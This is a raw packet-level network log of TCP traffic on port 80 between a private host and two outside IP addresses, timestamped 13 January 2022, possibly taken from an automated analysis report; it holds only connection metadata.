Jan 13, 2022 20:51:34.037987947 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:34.037997961 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:34.038041115 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:34.038052082 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:34.038094997 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:34.038104057 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:34.038147926 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:34.038156986 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:34.038203001 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:34.038209915 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:34.038254023 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:34.038269043 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:34.038305044 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:34.038315058 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:34.038357973 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:34.038368940 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:34.038408041 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:34.038427114 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:34.038463116 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:34.038474083 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:34.038513899 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:34.038531065 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:34.038566113 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:34.038583040 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:34.038620949 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:34.038651943 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:34.038671017 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:34.038688898 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:34.038724899 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:34.038736105 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:34.038779974 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:34.038788080 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:34.038830042 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:34.038849115 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:34.038881063 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:34.038898945 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:34.038933039 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:34.038954020 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:34.038992882 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:34.038999081 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:34.039056063 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:34.039105892 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:34.039155960 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:34.039211988 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:34.039216042 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:34.039267063 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:34.039268017 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:34.039300919 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:34.039319038 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:34.039326906 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:34.039375067 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:34.039383888 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:34.039428949 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:34.039448023 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:34.039483070 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:34.039505005 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:34.039535999 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:34.039554119 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:34.039588928 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:34.039601088 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:34.039639950 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:34.039658070 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:34.039691925 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:34.039702892 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:34.039743900 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:34.039753914 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:34.039793015 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:34.039809942 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:34.039844990 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:34.039860964 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:34.039896965 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:34.039910078 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:34.039953947 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:34.039972067 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:34.040016890 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:34.040050030 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:34.040072918 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:34.040095091 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:34.040128946 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:34.040147066 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:34.040184021 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:34.040201902 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:34.040241003 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:34.040251970 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:34.040297031 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:34.040306091 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:34.040350914 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:34.040369987 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:34.040402889 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:34.040421009 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:34.040457010 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:34.040473938 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:34.040508032 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:34.040523052 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:34.040559053 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:34.040570021 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:34.040611982 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:34.040627003 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:34.040662050 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:34.040677071 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:34.040713072 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:34.040729046 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:34.040764093 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:34.040781975 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:34.040816069 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:34.040832043 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:34.040869951 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:34.040879011 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:34.040921926 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:34.040937901 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:34.040975094 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:34.040983915 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:34.041027069 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:34.041044950 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:34.041079044 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:34.041095018 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:34.041136026 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:34.041142941 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:34.041188002 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:34.041203976 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:34.041241884 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:34.041258097 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:34.041295052 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:34.041304111 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:34.041346073 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:34.041362047 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:34.041397095 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:34.041412115 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:34.041450024 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:34.041460037 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:34.041501999 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:34.041518927 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:34.041557074 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:34.041573048 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:34.041609049 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:34.041621923 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:34.041666985 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:34.041675091 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:34.041722059 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:34.041733980 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:34.041774035 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:34.041786909 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:34.041829109 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:34.041837931 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:34.041891098 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:34.041903973 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:34.041958094 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:34.041965961 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:34.042007923 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:34.042017937 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:34.042077065 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:34.042087078 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:34.042129040 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:34.042139053 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:34.042180061 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:34.042190075 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:34.042232037 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:34.042243958 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:34.042283058 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:34.042293072 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:34.042336941 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:34.042345047 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:34.042392015 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:34.042402983 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:34.042444944 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:34.042457104 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:34.042505026 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:34.042534113 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:34.042557001 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:34.042582989 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:34.042607069 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:34.042656898 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:34.042663097 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:34.042671919 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:34.042736053 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:34.075481892 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:34.075562000 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:34.075615883 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:34.075633049 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:34.075665951 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:34.075681925 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:34.075686932 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:34.075726032 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:34.075745106 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:34.075769901 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:34.075782061 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:34.075814009 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:34.075831890 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:34.075855970 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:34.075875998 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:34.075906992 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:34.075918913 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:34.075954914 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:34.075968027 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:34.075999022 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:34.076020956 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:34.076045036 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:34.076059103 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:34.076090097 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:34.076109886 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:34.076133013 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:34.076162100 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:34.076188087 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:34.076200008 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:34.076247931 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:34.076280117 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:34.076318979 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:34.076332092 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:34.076385021 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:34.076391935 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:34.076445103 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:34.076467991 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:34.076515913 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:34.076525927 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:34.076576948 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:34.076597929 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:34.076642990 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:34.076658964 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:34.076704025 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:34.076719046 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:34.076766968 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:34.076795101 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:34.076832056 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:34.076894045 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:34.076900959 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:34.076927900 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:34.076962948 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:34.077020884 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:34.077080011 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:34.077100992 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:34.077140093 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:34.077140093 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:34.077197075 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:34.077199936 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:34.077228069 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:34.077258110 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:34.077275038 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:34.077323914 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:34.077348948 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:34.077384949 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:34.077398062 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:34.077446938 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:34.077471018 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:34.077517986 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:34.077533007 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:34.077577114 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:34.077590942 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:34.077642918 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:34.077651024 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:34.077706099 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:34.077737093 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:34.077768087 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:34.077786922 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:34.077826977 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:34.077841997 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:34.077914000 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:34.077934980 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:34.078000069 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:34.078017950 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:34.078056097 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:34.078078985 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:34.078120947 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:34.078135014 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:34.078183889 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:34.078191042 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:34.078246117 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:34.078277111 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:34.078314066 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:34.078327894 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:34.078373909 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:34.078402042 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:34.078438997 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:34.078475952 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:34.078502893 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:34.078536987 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:34.078572035 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:34.078634024 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:34.078660965 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:34.078677893 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:34.078701019 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:34.078732967 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:34.078783035 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:34.078835011 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:34.078906059 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:34.078959942 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:34.079005957 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:34.079013109 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:34.079041958 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:34.079066992 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:34.079121113 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:34.079147100 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:34.079174042 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:34.079195976 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:34.079227924 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:34.079278946 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:34.079283953 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:34.079330921 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:34.079382896 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:34.079399109 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:34.079438925 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:34.079494953 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:34.079514980 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:34.079550982 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:34.079610109 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:34.079610109 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:34.079665899 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:34.079720020 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:34.079725981 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:34.079776049 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:34.079829931 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:34.079833984 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:34.079993010 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:34.080045938 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:34.080053091 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:34.080099106 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:34.080152035 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:34.080152035 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:34.080836058 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:34.080890894 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:34.080915928 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:34.080956936 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:34.081022978 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:34.081023932 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:34.081629038 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:34.081687927 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:34.081708908 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:34.081749916 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:34.081753969 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:34.081823111 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:34.117433071 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:34.117506027 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:34.117541075 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:34.117563963 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:34.117580891 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:34.117621899 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:34.117625952 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:34.117676020 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:34.117681026 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:34.117731094 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:34.117732048 CET	49847	80	192.168.2.5	141.8.194.74
